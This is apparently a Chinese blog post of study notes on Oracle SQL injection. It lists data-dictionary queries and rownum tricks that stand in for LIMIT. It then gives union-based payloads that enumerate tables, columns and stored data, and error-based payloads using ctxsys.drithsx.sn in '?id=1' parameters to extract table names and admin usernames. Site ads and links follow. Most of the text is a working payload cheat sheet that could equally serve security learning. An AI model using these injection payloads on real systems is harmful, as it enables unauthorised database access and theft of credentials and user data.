Oracle注入
Oracle
查询出所有的表
select * from all_tables
查询出当前用户的表
select * from user_tables
查询出所有的字段
select*from all_tab_columns
查询出当前用户的字段
select*from user_tab_columns
查版本
select*from v$version
查询第一行
select * from all_tables where rownum=1
查询多行,参考实现limit的功能的
实现limit的功能
- rownum输出
select * from all_tables where rownum=1; // 输出一行;
select * from all_tables where rownum<3; // 输出两行
select * from all_tables where rownum<n; // 输出n-1行
- 查询结果去掉没用的
select password from admin where password<>'asd123';
select password from admin where password<>'asd123' and password<>'zxc12312ws';
- 基于行数别名的子查询
查询admin表中的username字段,并在字段前面加上行号,想要利用行号就必须得取个别名,不然会和外面查询的rownum冲突 :
select rownum as rr, username from admin;
select username from (select rownum as rr, username from admin) where rr = 1;
想要改变行数只需要改变行号就可以了 :
select username from (select rownum as rr, username from admin) where rr = 2;
注入手法
显错注入
- 查询当前数据库字段,查看回显点
order by n
union all select null,null,null,null from user_tables
- 查询当前数据库(表)(oracle弱化了库,强调用户)
union all select null,table_name,null,null from user_tables
- 查询当前数据表中字段
union all select null,column_name,null,null from user_tab_columns where table_name = '表名'
- 查询数据
union all select null,null,null,字段名 from 表名
- 只允许输出一条数据的
模拟limit
union all select null,null,null,字段名 from (select rownum as r, 字段名 from 表名) where r=1
查询结果去掉没用的
union all select null,null,null,字段名 from 字段名 where 字段名<>数据 and 字段名<>数据
报错注入
需要用到的函数 CTXSYS.DRITHSX.SN(用户,(查询的语句))
查询数据库版本
- 去查询关于主题的对应关键字,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
- 查询表
?id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from (select rownum r,table_name from user_tables) where r=1))
- 数据字段
ctxsys.drithsx.sn(1,(select column_name from (select rownum r,column_name from user_tab_columns where table_name='ADMIN') where r=1))
- 数据
?id=1 and 1= ctxsys.drithsx.sn(1,(select uname from (select rownum r,uname from admin) where r=1))
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人